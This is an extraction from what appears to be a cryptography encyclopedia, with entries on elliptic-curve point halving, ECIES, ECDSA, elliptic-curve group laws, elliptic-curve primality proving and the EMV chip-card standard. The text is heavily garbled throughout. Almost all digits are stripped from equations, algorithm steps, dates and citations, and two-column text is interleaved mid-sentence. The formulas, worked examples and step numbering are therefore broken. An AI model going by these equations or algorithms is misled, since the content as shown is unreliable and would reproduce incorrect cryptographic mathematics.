Algorithm Point halving The storage and time required to solve the quadratic
equation can be reduced. The basic strategy is to write
Input: -representation (u, Q ) or affine representation H(c) = H(c ) + s, where c has fewer nonzero coefficients
(u, v) of Q G. than c. The property H(c) = H(c ) + c + Tr(c) for c Fm
Output: -representation (x, P ) of P = (x, y) G, where may be applied directly to eliminate storage of H(z i ) for
P = x + y/x and Q = P. even i. Repeated applications may yield further improve-
. Find a solution +
of = u + a. ments. For example, if the reduction polynomial f (z) =
. If the input is in -representation, then compute t = z m + r(z) has deg r < m/, then the strategy can be applied
u(u + Q + ); in an especially straightforward fashion to eliminate stor-
else compute t = v + u . age of H(z i ) for odd i, m/ < i < mdeg r. If deg r is small,

. If Tr(t) = , then P , x t + u; the storage requirement is reduced to approximately m/
else P
+ , x t. elements. Such strategies are outlined in [, Appendix A];
. Return (x, P ). see also [] for details.
Computing Square Roots

The square root of c may be expressed as
The point-halving algorithm requires a field multipli-
i i
cation and three main steps: computing the trace of t, c = ci z + z ci z .
solving the quadratic equation (), and computing a square i even i odd
root. In a normal basis, field elements are represented in
m
The value z may be precomputed, and finding c is
terms of a basis of the form {, , . . . , }. The trace expected to be significantly less expensive than a field
i
of an element c = ci = (cm , . . . , c ) is given by multiplication. Note that if the reduction polynomial f is
Tr(c) = ci . The square root computation is a right a trinomial, then substantial improvements are possible
Elliptic Curve Point Multiplication Using Halving E

based on the observation that z may be obtained directly where H denotes a point halving and A is the cost
from f ; see []. of a point addition when one of the inputs is in
-representation. If projective coordinates are used for Qi ,
Point Multiplication then the additions in step . and . are mixed coordinates.
Halve-and-add variants of point multiplication methods Step may be performed by calculating Qi Qi + Qi+
replace most point doublings with halvings. However, for odd i from w to , and then the result is given by
point halving is performed on affine (or ) representations, Q + iI/{} Qi [, Exercise ..].
and hence some modifications may be required if projec-
tive coordinates are used. The algorithm presented in this
section illustrates the use of projective coordinates (and a Algorithm Halve-and-add w-NAF (right-to-left) point
windowing method) with halving. multiplication
Let w be an integer. A width-w NAF of a posi- E
tive integer k is an expression k = l i Input: Window width w, NAFw (t k mod n) =
i= ki , where each i
i= ki , P G.
t
nonzero coefficient ki is odd, ki < , kl , and
w
at most one of any w consecutive digits is nonzero []. Output: kP. (Note: k = k /t + + kt / + kt + kt
A positive integer k has a unique width-w NAF denoted mod n.)
NAFw (k), with length at most one more than the length of . Set Qi for i I = {, , . . . , w }.
the binary representation. As an illustration, coefficients in . If kt = then Q = P.
the binary representation of k = and the width- and . For i from t down to do:
width- NAFs are given by . If ki > then Qki Qki + P.
k= . If ki < then Qki Qki P.
NAF (k) = . P P/.
NAF (k) = . Q iI iQi .
. Return(Q).
The average density of nonzero digits among all width-w
NAFs of length l is approximately /(w + ). The signed-
digit representation NAF (k) is known as the nonadja-
cent form. In point multiplication, the use of signed-digit The computational costs in terms of field operations are
representations is motivated by the property that point summarized in Table for the case that Algorithm is used
subtraction is as efficient as addition. with w = . Only field multiplications and inversions are
If kP is to be found for a given scalar k, then a con- considered, under the assumption that field addition is rel-
version is required for halving-based methods. If k is atively inexpensive. The choice between affine coordinates
defined by and projective coordinates is driven primarily by the cost
of inversion (I) relative to multiplication (M). If division
k kt /t + + k / + k / + k (mod n)
has approximate cost I + M, then the estimates in the table
where ki {, } and n is the order of G, then show that projective coordinates will be preferred in Algo-
t i
kP = i= ki / P; i.e., (kt , . . . , k ) may be used by rithm with w = whenever an inversion costs more than
halving-based methods. This can be generalized to width- six multiplications.
i
w NAF: if l i= ki is the w-NAF representation of
t
k mod n, then
Summary
t
k
k ti + kt (mod n) The performance advantage of halving methods is clearest
i= i in the case of point multiplication kP, where P is not known
in advance, and smaller field inversion to multiplication
where it is understood that ki = if i l.
ratios generally favor halving. However, significant storage
Algorithm presents a right-to-left version of a
(e.g., m/ field elements) for the solve routine appears to be
halve-and-add method with the input t k mod n rep-
essential for performance. It should be noted, however, that
resented in w-NAF. Point halving occurs on the input P
the precomputation for the solve and square root routines
rather than on accumulators (which may be in projective
is per field.
form). The expected running time is approximately
The comparison against doubling in Table is approx-
(step cost) + (t/(w + ) w )A + tH imate; in particular, one of the multiplications in point
E Elliptic Curve Public-Key Encryption Schemes
Elliptic Curve Point Multiplication Using Halving. Table

Field operation costs for point and curve operations, where Elliptic Curve Public-Key
M, I, and V denote eld multiplication, inversion, and division, Encryption Schemes
respectively. The cost H of halving is an estimate. A denotes
the cost of a point addition when one of the inputs is in
-representation
Department of Mathematics, Auburn University,
Field operations Auburn, AL, USA
Point
Calculation Operations Ane Projectivea Department of Combinatorics and Optimization,
Point operation University of Waterloo, Waterloo, Ontario, Canada
Addition A M+V M
Additionb A M + V M
Double D M+V M Related Concepts
Halvec H M ElGamal Public Key Encryption; Elliptic Curve Cryp-
Curve operation (with width NAF)
kP via doubling (/)tA + tD (/)t(M + V) (/)tM + (M + I)
tography
kP via Alg (/)tA + tH (/)tM+(/)tV tM + (M + I)
a
Mixed-coordinated additions and a {, }.
Denition
b
A eld multiplication converts -representation to ane. Elliptic curve public-key encryption schemes rely on the
c
Estimated. properties of elliptic curves for public-key encryption
and decryption. An elliptic curve analogue of ElGamal
public-key encryption is described.
doubling is by the curve parameter b, and this multipli-
cation may be accelerated by precomputation. Kim and Background
Kim [] developed a formula where two of the multiplica- It is possible to develop elliptic curve analogues of all the
tions are by b, potentially offering a significant acceleration variants of the ElGamal public-key encryption scheme [].
to point doubling in the scenario where halving applies, Described here is one such variant, the Elliptic Curve Inte-
namely a = with a modest amount of per-curve precom- grated Encryption Scheme (ECIES), proposed by Abdalla,
putation. The practical implications are discussed further Bellare, and Rogaway [].
in [].
Applications
Recommended Reading In ECIES, the elliptic curve domain parameters are
. FIPS - () Digital signature standard (DSS), Federal D = (q, FR, S, a, b, P, n, h), and an entity As key pair is
Information Processing Standards Publication -, National (d, Q) (Elliptic Curve Keys). E denotes a symmetric-key
Institute of Standards and Technology, Gaithersburg, Maryland encryption scheme such as the Advanced Encryption Stan-
. Fong K, Hankerson D, Lpez J, Menezes A () Field inversion
dard (AES), and Message Authentication Code (MAC)
and point halving revisited. IEEE Trans Comput :
. Hankerson K, Karabina K, Menezes A () Analyzing the denotes a message authentication code algorithm such
Galbraith-Lin-Scott point multiplication method for elliptic as Hashed Message Authentication Code (HMAC). In
curves over binary fields. IEEE Trans Comput : order to encrypt a message m to A, an entity B does the
. Kim K, Kim S () A new method for speeding up arith- following:
metic on elliptic curves over binary fields. Cryptology ePrint
Archive: Report /, . Available from http://eprint.iacr.
. Select an integer k R [, n ].
org//
. Knudsen E () Elliptic scalar multiplication using point halv-
. Compute the elliptic curve points R = kP and Z = kQ.
ing. Advances in CryptologyASIACRYPT , Lecture Notes in . Derive two keys k and k from Z and R.
Computer Science : . Compute c = Ek (m) and t = MACk (c).
. Knuth D () The art of computer programming . Send (R, c, t) to A.
seminumerical algorithms rd edition. Addison-Wesley Reading,
Massachusetts. A decrypts using her private key d as follows:
. Schroeppel R () Elliptic curves: twice as fast!. Presentation
at the Rump Session of the th Annual International Cryptology
. Compute Z = dR.
Conference, Advances in cryptologyCRYPTO , Lecture
Notes in Computer Science , Springer, New York
. Derive two keys k and k from Z and R.
. Schroeppel R () Elliptic curve point ambiguity resolu- . Compute t = MACk (c); reject the ciphertext if t t .
tion apparatus and method. International Application Number . Compute m = Ek (c).
PCT/US/
. Solinas J () Efficient arithmetic on Koblitz curves. Design ECIES has been proven to be semantically secure against
Codes Cryptogr : adaptive chosen-ciphertext attacks [] under the
Elliptic Curve Signature Schemes E
assumptions that the encryption scheme E is secure, variant is described, an analogue of the Digital Signature
that the MAC algorithm is secure, and that certain Algorithm (DSA).
nonstandard variants of the DiffieHellman problem are
intractable [].
Another noteworthy elliptic curve public-key encryp- Background
tion scheme is the elliptic curve analogue of the Cramer Many variants of the ElGamal digital signature scheme
Shoup scheme []. This scheme has the advantage that [] have been proposed including the DSA [], Schnorrs
its security has been proven under standard assumptions signature scheme [], the NybergRueppel signature
only; however, encryption and decryption are slower than scheme [], and the Korean certificate-based digital signa-
in schemes such as ECIES. ture algorithm (KCDSA) []. Some of these variants have
For an extensive study of discrete logarithm encryption been proven to be existentially unforgeable by adaptive
systems, see the draft standard edited by Shoup []. The chosen-message attacks [] under certain assumptions E
standard was subsequently published as ISO - []. including intractability of the elliptic curve discrete log-
arithm problem (ECDLP) (see []). ECDSA, an elliptic
curve analogue of the DSA, is outlined here; for further
Recommended Reading details, see [].
. Abdalla M, Bellare M, Rogaway P () The oracle
DiffieHellman assumptions and an analysis of DHIES. Topics in
cryptologyCT-RSA , Lecture Notes in Computer Science, Applications
vol . Springer, Berlin, pp In ECDSA, the elliptic curve domain parameters are D =
. Cramer R, Shoup V () A practical public key cryptosys-
tem provably secure against adaptive chosen ciphertext attack.
(q, FR, S, a, b, P, n, h), and an entity As key pair is (d, Q)
Advances in cryptologyCRYPTO , Lecture Notes in Com- (Elliptic Curve Keys). In order to sign a message m, A
puter Science, vol . Springer, Berlin, pp does the following:
. ElGamal T () A public key cryptosystem and a signature
scheme based on discrete logarithms. IEEE Trans Inf Theory . Select an integer k R [, n ].
: . Compute the elliptic curve point R = kP.
. ISO/IEC - () Information Technology Security
. Compute r = x mod n, where x is the x-coordinate of
Techniques Encryption algorithms Part : asymmetric ciphers
. Rackoff C, Simon D () Non-interactive zero-knowledge R. If r = , then go to step .
proof of knowledge and chosen ciphertext attack. Advances in . Compute e = H(m), where H is a cryptographic hash
CryptologyCRYPTO , Lecture Notes in Computer Science, function.
vol . Springer, pp . Compute s = k (e + dr) mod n. If s = , then go to
. Shoup V (ed) () FCD - Encryption algorithms Part :
step .
asymmetric ciphers. http://www.shoup.net/iso
. The signature on m is (r, s).
To verify As signature (r, s) on m, an entity B does the

following:
Elliptic Curve Signature Schemes
. Verify that r and s are integers in the interval [, n ].

Darrel Hankerson , Alfred Menezes . Compute e = H(m).
Department of Mathematics, Auburn University, . Compute w = s mod n, u = ew mod n and u =

Auburn, AL, USA rw mod n.
Department of Combinatorics and Optimization, . Compute X = u P + u Q, and verify that X .

University of Waterloo, Waterloo, Ontario, Canada . Let v = x mod n, where x is the x-coordinate of X.
. Accept the signature if and only if v = r.
Signature verification works because if a signature
Related Concepts (r, s) on a message m was indeed generated by the legit-
Digital Signature Schemes; Elliptic Curve imate signer, then s k (e + dr) (mod n). Rearranging
Cryptography gives

Denition k s (e + dr) s e + s rd we + wrd u + u d (mod n).
Elliptic curve signature schemes rely on properties of ()
elliptic curves for signature generation and verification. Thus X = u P + u Q = (u + u d)P = kP, and so v = r as
The Elliptic Curve Digital Signature Algorithm (ECDSA) required.
E Elliptic Curve Trace Computation
Recommended Reading size) to discrete logarithm attacks compared to methods

. ElGamal T () A public key cryptosystem and a signature where security is based on the intractability of integer fac-
scheme based on discrete logarithms. IEEE Trans Inf Theory torization or finding logarithms in finite fields, especially
:
as security requirements increase.
. FIPS - () Digital signature standard (DSS), Federal
Information Processing Standards Publication -, National
Institute of Standards and Technology, Gaithersburg, Maryland Theory
. Goldwasser S, Micali S, Rivest R () A digital signature scheme An elliptic curve E over a field F is defined by a Weierstrass
secure against adaptive chosen-message attacks. SIAM J Comput equation
:
. Johnson D, Menezes A, Vanstone S () The elliptic curve E/F : y + a xy + a y = x + a x + a x + a ()
digital signature algorithm (ECDSA). Internat J Inf Security
: with a , a , a , a , a F and , where is the
. Lim C, Lee P () A study on the proposed Korean digital discriminant of E and is defined as follows:
signature algorithm. Advances in CryptologyASIACRYPT ,
Lecture Notes in Computer Science, vol . Springer, pp = d d d d + d d d
. Nyberg K, Rueppel R () Message recovery for signature
schemes based on the discrete logarithm problem. Design Codes
d = a + a
Cryptogr : d = a + a a
. Pointcheval D, Stern J () Security arguments for digital
signatures and blind signatures. J Cryptol :
d = a + a
. Schnorr C () Efficient signature generation by smart cards. d = a a + a a a a a + a a a .
J Cryptol :
If L is any extension field of F, then the set of L-rational
points on E is

E(L) = {(x, y) L L : y + a xy
Elliptic Curve Trace Computation + a y x a x a x a = } {}
Point Counting where is the point at infinity.

Two elliptic curves E and E defined over F and given
by Weierstrass equations () are said to be isomorphic over
F if there exist u, r, s, t F, u , such that the change of
Elliptic Curves variables

(x, y) (u x + r, u y + u sx + t) ()

Department of Mathematics, Auburn University, transforms equation E into equation E . The transforma-
Auburn, AL, USA tion () is called an admissible change of variables.

University of Waterloo, Waterloo, Ontario, Canada Simplied Weierstrass Equation
A Weierstrass equation () defined over F can be simplified
Related Concepts considerably by applying admissible changes of variables:
Hyperelliptic Curves . If the characteristic of F is not equal to or , then the
admissible change of variables
Denition x a a y a x a + a a a
This section introduces elliptic curves and associated (x, y) ( , )

group operations, along with basic structural properties of
particular interest in cryptography. transforms E to the curve
y = x + ax + b, ()
Background
Although classical, elliptic curves have been used in where a, b F. The discriminant of this curve is
integer factoring algorithms and in primality prov- = (a + b ).
ing algorithms, and also for designing public-key cryp- . If the characteristic of F is , then there are two cases
tographic schemes. In cryptography the attractiveness is to consider. If a , then the admissible change of
due, in part, to the apparent resistance (at a given key variables
Elliptic Curves E
a a a + a Group Law
(x, y) (a x + , a y + )
a a Let E be an elliptic curve defined over the field F. There
is a chord-and-tangent rule for adding two points in E(F)
transforms E to the curve
to give a third point in E(F). Together with this addition
y + xy = x + ax + b, () operation, the set of points E(F) forms an abelian group
with serving as its identity. It is this group that is used in
where a, b F. The discriminant is = b. If a = , then the construction of elliptic curve cryptographic schemes.
the admissible change of variables The addition rule is best explained geometrically.
(x, y) (x + a , y) Figure illustrates the addition and doubling rule for the
curve y = x x over the real numbers R. Let P = (x , y )
transforms E to the curve and Q = (x , y ) be two distinct points on an elliptic curve
E. Then the sum R of P and Q is obtained by drawing
E
y + cy = x + ax + b, () a line through P and Q; this line intersects the elliptic
where a, b, c F. The discriminant is = c . curve at a third point. Then R is the reflection of this
. If the characteristic of F is , then there are two cases point about the x-axis. The double R of P, also denoted by
to consider. If a a , then the admissible change of P, is obtained by drawing the tangent line to the elliptic
variables curve at P. This line intersects the elliptic curve at a sec-
ond point. Then R is the reflection of this point about the
d d x-axis.
(x, y) (x + , y + a x + a + a ),
d d Algebraic formulas for the group law can be easily
derived from the geometric description. These formulas
where d = a + a and d = a a a transforms E to
are presented next for elliptic curves E of the simplified
the curve
Weierstrass form () in affine coordinates when the char-
y = x + ax + b, acteristic of the underlying field F is not or , and for
where a, b F. The discriminant is = a b. If elliptic curves E of the form () over characteristic finite
a = a , then the admissible change of variables fields.
(x, y) (x, y + a x + a ) Group law for E/F : y = x + ax + b, char(F) ,

. Identity. P + = + P = P for all P E(F).
transforms E to the curve . Negatives. If P = (x, y) E(F), then (x, y)+(x, y) = .

y = x + ax + b, () The point (x, y) is denoted by P and is called the
negative of P; note that P is indeed a point in E(F).
where a, b F. The discriminant is = a . Also, = .
y y
Q P
x x
R=P+Q R = 2P
Addition: P + Q = R Doubling: P + P = R
Elliptic Curves. Fig. Geometric addition and doubling of elliptic curve points
E Elliptic Curves
. Point addition. Let P = (x , y ) E(F) and Q = (x , y ) t = q + #E(Fq ). If p does not divide t, then E is non-
E(F), where P Q. Then P + Q = (x , y ), where supersingular. The elliptic curves () and () are supersin-
gular.
y y y y
x = ( ) x x andy = ( ) (x x )y . If E is an elliptic curve defined over Fq , then E is also
x x x x defined over any extension Fqn of Fq . The group E(Fq ) of
. Point doubling. Let P = (x , y ) E(F), where P P. Fq -rational points is a subgroup of the group E(Fqn ) of
Then P = (x , y ), where Fqn -rational points and hence #E(Fq ) divides #E(Fqn ). If
#E(Fq ) is known, then #E(Fqn ) can be efficiently deter-
x + a x + a mined by the following result due to Weil. Let #E(Fq ) = q+
x = ( ) x and y = ( )(x x ) y .
y y t. Then #E(Fqn ) = qn + Vn for all n , where {Vn }
is the sequence defined recursively by V = , V = t, and
Group law for E/F : y + xy = x + ax + b, char(F) = Vn = V Vn qVn for n .
. Identity. P + = + P = P for all P E(F).
. Negatives. If P = (x, y)E(F), then (x, y)+(x, x + y) = .
The point (x, x + y) is denoted by P and is called the Group Structure
negative of P; note that P is indeed a point in E(F). Let E be an elliptic curve defined over Fq . Then E(Fq )
Also, = . is isomorphic to Zn Zn where n and n are uniquely
. Point addition. Let P = (x , y ) E(F) and Q = (x , y ) determined positive integers such that n divides both n
E(F), where P Q. Then P + Q = (x , y ), where and q .
Note that #E(Fq ) = n n . If n = , then E(Fq ) is a cyclic
y + y group. If n > , then E(Fq ) is said to have rank . If n is a
= , x = + + x + x + a, and
x + x small integer (e.g., n = , , or ), then E(Fq ) is sometimes
y = (x + x ) + x + y . said to be almost cyclic. Since n divides both n and q ,
. Point doubling. Let P = (x , y ) E(F), where P P. one expects that E(Fq ) is cyclic or almost cyclic for most
Then P = (x , y ), where elliptic curves E over Fq .
y y
x = (x + ) + (x + ) + a and Example
x x
y Consider the elliptic curve
y = x + (x + ) x + x .
x

E : y = x + x +
The curves and group law have been given in affine
form, although other representations are possible. In par-
ticular, various projective coordinate representations are defined over F , the integers modulo . The points in
commonly used due to efficiency considerations. More E(F ) are as follows:
recently, curves admitting Edwards coordinate represen-
tations (Edwards Coordinates) have been shown to have (, ) (, ) (, ) (, ) (, ) (, )
especially attractive features. (, ) (, ) (, ) (, ) (, ) (, )
(, ) (, ) (, ) (, )
Group Order
Let E be an elliptic curve defined over a finite field F = Fq . so #E(F ) = . Examples of the group law are (, ) +
The number of points in E(Fq ), denoted #E(Fq ), is called (, ) = (, ), and (, ) = (, ). Since the group order
the order of E over Fq . Since the Weierstrass equation () is prime, E(F ) is a cyclic group.
has at most two solutions for each x Fq , it follows that
#E(Fq ) [, q + ]. Hasses theorem provides tighter Recommended Reading
bounds for #E(Fq ): . Koblitz N () A course in number theory and cryptography,
nd edn. Springer, New York
q + q #E(Fq ) q + + q.
. Silverman J () The arithmetic of elliptic curves. Springer,
New York
#E(Fq ) can be computed in polynomial time by Schoof s
. Silverman J () Advanced topics in the arithmetic of elliptic
algorithm or one of its many derivatives. curves. Springer, New York
Let p be the characteristic of Fq . An elliptic curve . Washington L () Elliptic curves: number theory and cryp-
E defined over Fq is supersingular if p divides t, where tography, nd edn. CRC Press, Boca Raton, FL
Elliptic Curves for Primality Proving E
A primality testing theorem analogous to the converse of

Elliptic Curves for Primality Fermats theorem can be proven so that it is enough to
Proving find a generator P of the curve satisfying equalities in the
group E(Z/NZ). To each curve corresponds a distinct m.
Franois Morain A lot of them should be factorizable numbers. This gives a
Laboratoire dinformatique (LIX), cole polytechnique, lot of candidates to use in the primality proof, in addition
Palaiseau Cedex, France to N .
To use these groups in primality proving, two problems
Synonyms must be solved: find algorithms to compute the group law
ECPP on E(Z/NZ) and compute the cardinality of the group. The
first task is easy, many algorithms being known. The second
task is not so easy, but there exists a deterministic point
E
Related Concepts
Elliptic Curves; Elliptic Curve Method for Factoring; counting algorithm due to Schoof for this which runs in
Integer Factoring; Prime Number; Primality Test polynomial time.
In , two primality proving algorithms using ellip-
Denition tic curves were proposed, somewhat anticipated in
Elliptic Curve Primality Proving (ECPP for short) is a by Bosma, Chudnovsky, and Chudnovsky. One is due to
method to prove primality of an integer n that uses elliptic Goldwasser and Kilian [, ], the other one to Atkin
curves modulo n. []. The GoldwasserKilian algorithm uses random curves
whose cardinality has to be computed with Schoof s algo-
Background rithm. The analysis shows that proving primality can be
Proving the primality of an integer N (Primality Proving done in random polynomial time for almost all primes, a
Algorithm) is easy if N can be factored: N is prime if result eventually proven for all primes [] by Adleman and
and only if the multiplicative group of invertible elements Huang using curves of genus shortly after the work of
(Z/NZ) is cyclic of order N (Modular Arithmetic). Goldwasser and Kilian. The drawback of the Goldwasser
To prove that an integer g is a generator of (Z/NZ) Kilian algorithm is that Schoof s algorithm is too slow to
and hence that the group is cyclic, it suffices to check that be interesting in practical primality proving, despite the
g N mod N and g (N)/q / mod N for all prime fac- improvements made by Elkies and Atkin.
tors q of N . (It is quite easy to find a generator, or to Atkins approach replaces random curves by curves
prove that none exists, given the prime factors.) which are reductions of curves with complex multiplica-
The above method is the converse of Fermats Little tion and for which the cardinality is known in advance.
Theorem. However, it is rare that N is easy to factor. Less The analysis of this algorithm, also called ECPP [], is
rare is the case where N has a large prime cofactor C, in heuristic and yields a running time O((log N) ) (see []
which case the primality of N can be proven in the same and O-notation) for deciding the primality of N using
way, modulo the assumption that C can be proven prime in classical arithmetic.
turn. This approach cannot succeed to prove the primality
of all numbers in reasonable time. Other approaches have Experimental Results
therefore been pursued for proving that a number is prime. In practice, due to many improvements of several people
For instance, the first deterministic algorithm for this task including the present author, primes of cryptographic size
was designed by Adleman et al. in the early s [] and (say or , bits) can be proved in a few seconds, and
improved by Cohen and Lenstra [] among others [, , ]. large numbers tackled as well, the record being around
decimal digits. An interesting feature of this algo-
Theory rithm is the fact that it gives a certificate of primality that
The basic idea of primality proving with elliptic curves can be checked in time O((log N) ).
is to enlarge the set of groups that can be used for proving As a matter of fact, a faster version of ECPP was
the primality of N. In addition to (Z/NZ) also the groups outlined by Shallit, with a complexity of O((log N) )
formed by elliptic curves over Z/NZ are considered, that (see []). With fast multiplication techniques, this is a
is sets E(Z/NZ) = {(x, y) (Z/NZ) , y x + ax + O((log N) ) method, and its practicality has been recently
b mod N}, where gcd(a + b , N) = . If N is indeed demonstrated with the primality of several numbers
prime, then E(Z/NZ) is of order m = N + t
a group with more than , decimal digits [, ] and
for some integer t [ N, N], by Hasses theorem. culminating at more than , decimal digits [].
E EMV
The above complexity matches the fastest heuristic ver- Denition

sion of the AgrawalKayalSaxena algorithm that is due EMV Integrated Circuit Card Specification for Payment
to Bernstein []. Systems, Version ., June [] is a global standard for
credit and debit payment cards based on chip card tech-
Recommended Reading nology. The EMV specification is administered by EMVCo,
. Adleman LM, Huang M-DA () Primality testing and abelian LLC. EMVCo also establishes and administers testing and
varieties over finite fields. Lecture notes in math, vol .
approval processes to evaluate compliance with the EMV
Springer, Berlin
. Adleman LM, Pomerance C, Rumely RS () On distinguish- specifications. The current owners of EMVCo are Ameri-
ing prime numbers from composite numbers. Ann Math () can Express, JCB, MasterCard, and Visa.
:
. Atkin AOL () Manuscript. Lecture notes of a conference.
Boulder CO, August
Background
. Atkin AOL, Morain F () Elliptic curves and primality prov- A primary goal of EMVCo and the EMV specifications
ing. Math Comp (): is to facilitate global interoperability and compatibility of
. Bernstein DJ () Proving primality in essentially quartic chip-based payment cards and acceptance devices while
random time. Math Comput (): supporting secure payment. This objective extends to new
. Bosma W, van der Hulst M-P () Primality proving with
cyclotomy. Ph.D. thesis, Universiteit van Amsterdam
types of payment devices as well, including contactless
. Cohen H, Lenstra AK () Implementation of a new primality payment and mobile payment.
test. Math Comput (): Traditional credit and debit payment cards carry a
. Cohen H, Lenstra HW Jr () Primality testing and Jacobi magnetic stripe, a hologram, a specimen signature of the
sums. Math Comp (): cardholder and may be embossed with the cardholders
. Franke J, Kleinjung T, Morain F, Wirth T () Proving the
primality of very large numbers with fastecpp. In: Buell D
name and account number and the expiry date of the
(ed) Algorithmic number theory, th international symposium, card. Magnetic stripe technology provides little in the way
ANTS-VI, Burlington, VT, June . Lecture notes in computer of card authentication. EMV cards carry the informa-
science, vol . Springer, Berlin, pp tion about the account on an integrated circuit (chip) on
. Goldwasser S, Kilian J () Almost all primes can be quickly the card. The chip is able to store more information
certified. In: Proceedings of th STOC, May . ACM,
Berkeley, pp
than the magnetic stripe and also can support edit-
. Goldwasser S, Kilian J () Primality testing using elliptic ing to control the use of the card. The cards ability
curves. J ACM (): to generate cryptograms and digital signatures allows
. Lenstra AK, Lenstra HW Jr () Algorithms in number the- card authentication to be performed by the terminal or
ory. In: van Leeuwen J (ed) Handbook of theoretical computer issuer using dynamic techniques that identify genuine
science, vol A: algorithms and complexity, chapter . Elsevier,
North Holland, pp
data and genuine cards. The card can provide the abil-
. Mihailescu P () Cyclotomy of rings and primality testing. ity to authenticate the cardholder offline. Both the card
Dissertation ETH No. , Swiss Federal Institute of Technol- and terminal implement offline risk management pro-
ogy, Zrich cesses that control whether a transaction is approved or
. Morain F () Implementing the asymptotically fast version declined offline or whether online authorization should be
of the elliptic curve primality proving algorithm. Math Comput
():
sought.
. Morain F () Announcement at http://www.lix. EMV defines several different mechanisms for chip
polytechnique.fr/Labo/Francois.Morain/ card authentication. Online authorized transactions use an
online card authentication method (online CAM) where
the online authorization contains a cryptogram generated
EMV from key transaction data signed with the cards secret
symmetric key. Offline card authentication is achieved
Michael Ward , Anita Ochieano through the terminals verification of a signature received

Product Security Chip Centre of Excellence MasterCard from the card and does not require that the transaction be
Worldwide, Waterloo, Belgium able to go online.

Visa International, Foster City, CA, USA
Application: The EMV Architecture
Related Concepts The Transaction Flow
AES; Authentication; Digital Signature; Encryption; Figure provides an overview of the transaction flow for
Mandatory Access Control Policy (MAC); Personal EMV. For complete descriptions of these processes, please
Identification Number (PIN); RSA; Triple DES refer to the EMV specifications.
EMV E
Terminal selection
of card application
to use
Initiate Application
Processing
Read Application
Data E
Processing Offline Data Cardholder Terminal and Card

Restrictions Authentication Verification Risk Management
Card-terminal
decision
Online
Offline Approve Authorization to Offline Decline
Issuer
Online Response
from Issuer
Issuer
Authentication
Issuer to Card
Script Processing
EMV. Fig. EMV transaction ow
Oine Data Authentication (Oine CAM) With SDA, the terminal verifies a static signature (i.e.,
EMV supports three different offline data authentication the same for every transaction) of card data signed by
methods: static data authentication (SDA), dynamic data the issuer private key in order to assure that this data
authentication (DDA) and combined DDA/application has not been altered.
cryptogram generation (CDA). These methods allow the With DDA the terminal verifies a dynamic signature
terminal rather than the issuer to authenticate the card and (i.e., different for each transaction based on a random
card data. challenge from the terminal and dynamic card data)
E EMV
generated by the card using its private key, in order to are protected using symmetric cryptography ensuring
assure that the card is not counterfeit and that the card integrity and confidentiality, as appropriate.
data has not been altered. For approved transactions, the terminal sends a cryp-
With CDA the card generates a dynamic signature of togram generated by the card with the clearing infor-
transaction data including the online cryptogram, in mation for verification by the issuer as evidence of the
order to provide the protection of DDA while also validity of the completed transaction.
assuring that important data going between the card
All of the cryptograms mentioned above are dynamically
and terminal has not been altered.
generated by the chip card or the issuer using symmet-
All of these methods use RSA public key cryptography. In ric cryptography employing unique card-level keys derived
the EMV environment, the payment system acts as a certi- from a master key located at the issuer. Traditionally, the
fication authority and creates issuer public key certificates symmetric cryptography method used is -key triple
by signing each issuers public keys. Issuers act as certi- DES although use of AES (advanced encryption stan-
fication authorities and create ICC public key certificates dard) is also permitted
by signing each cards ICC public key. The payment sys-
tems CA public keys are distributed by the acquirer to the Cardholder Verication Method
terminals for verifying issuer certificates, thereby yielding Cardholder verification is used to reduce lost and stolen
trusted copies of issuers public keys, used in turn to verify card fraud. With magnetic stripe, the cardholder verifica-
ICC public keys. These public key processes use RSA with tion methods can be online PIN, signature, or no CVM
SHA- used for hashing. required. The introduction of chip cards allows issuers to
For SDA, the issuer pre-signs card-unique static data choose whether their cards support online PIN or offline
to allow detection of alteration of the data after person- PIN verification (Personal Identification Number). With
alization. Figure illustrates the relationship between the online PIN the PIN entered by the cardholder is encrypted
cryptographic keys for SDA. and sent over the network to the issuer for verification
For both DDA and CDA, the issuer personalizes the as can be done with magnetic stripe transactions. With
chip card with a certified private RSA key unique to the offline PIN verification, the PIN entered by the cardholder
chip card. Figure illustrates the relationship between the is sent from the PIN pad to the card for verification. To per-
cryptographic keys for DDA and CDA. form offline PIN verification, the card must securely store
a reference copy of the cardholders PIN.
Online Card Authentication EMV specifies two methods for offline PIN verifica-
For transactions that go online to the issuer for approval, tion: plaintext and enciphered.
EMV uses online authentication methods to validate the
card to the issuer and the issuer to the card as well as to
prove the authenticity of received data. With offline plaintext PIN verification, the card
receives the PIN in the clear from the terminal.
With Online Card Authentication the issuers online For offline enciphered PIN verification, the terminal
system validates a cryptogram called an ARQC (autho- encrypts the cardholder-entered PIN and a challenge
risation request cryptogram) that is generated by the from the card using a randomized RSA encryption
card from important transaction data using its unique method and the cards public key. Upon receiving the
secret key to show that the card is not counterfeit and encrypted PIN, the card decrypts it using its corre-
that the data has not been altered. sponding private key.
With online issuer authentication, the card validates an
issuer-generated cryptogram called an ARPC (authori-
sation response cryptogram) to assure that the autho- Terminal and Card Risk Management
rization response came unaltered from the valid issuer. The decision for offline or online authorization for a given
The card can require successful issuer authentication chip card transaction is based on the results of offline card
to perform internal card management functions such authentication, cardholder verification, and the outcome
as the reset of offline counters. of card and terminal risk management consisting of:
The issuer can optionally send script updates to the
card to update certain card data. This allows the issuer Floor limit checking where merchant terminals request
to block or unblock the card, change the PIN, and alter an online authorization when the transaction value
card risk management parameters. Script commands exceeds a terminal-based floor limit value.
EMV E
Issuer Certification Authority Acquirer

Distributed to Acquirer
Private Key Public Key Private Key Public Key (Resides in Terminal)
Static (Issuer) (Issuer) (CA) (CA)
application SI PI SCA PCA
data
Signed Static
Application Issuer PK
Issuer PK
Data (SSAD) Certificate
Certificate
E
IC Card IC Terminal
Issuer PK Certificate and SSAD
Card provides to Terminal: Terminal:

Issuer PK Certificate (PI signed by CA using SCA) Uses PCA to verify that the Issuers PI was signed by the CA
Signed Static Application Data (SSAD) Uses PI to verify that the Cards SSAD was signed
(signed by the Issuer using SI) by the Issuer
EMV. Fig. Relationship between cryptographic keys for SDA
Issuer Certification Authority Acquirer

Distributed to Acquirer
Private Key Public Key Private Key Public Key Private Key Public Key (Resides in Terminal)
(ICC) Static (ICC) (Issuer) (Issuer) (CA) (CA)
SIC application PIC SI PI SCA PCA
data
ICC PK
Issuer PK Issuer PK
Certificate Certificate
Certificate
IC Card IC Terminal
Communication between IC card and terminal
Card provides to Terminal: Terminal:

Issuer PK Certificate (PI signed by the CA SCA) Uses PCA to verify that the Issuers PI was signed by CA
ICC PK Certificate (PIC and static application Uses PI to verify that Card PIC and static application
data signed by Issuer SI) data were signed by Issuer
